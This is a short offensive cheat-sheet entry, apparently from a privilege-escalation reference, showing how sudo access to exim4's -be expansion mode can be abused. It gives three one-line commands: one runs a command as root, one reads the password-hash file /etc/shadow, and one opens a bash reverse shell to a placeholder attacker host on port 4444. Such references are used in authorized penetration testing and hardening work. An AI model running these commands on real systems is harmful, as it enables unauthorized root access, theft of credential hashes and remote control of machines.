Command execution

echo '${run{/usr/bin/id}}' | sudo exim4 -be

File read

echo '${readfile{/etc/shadow}{}}' | sudo exim4 -be

Shell

echo '${run{/bin/sh -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}}' | sudo exim4 -be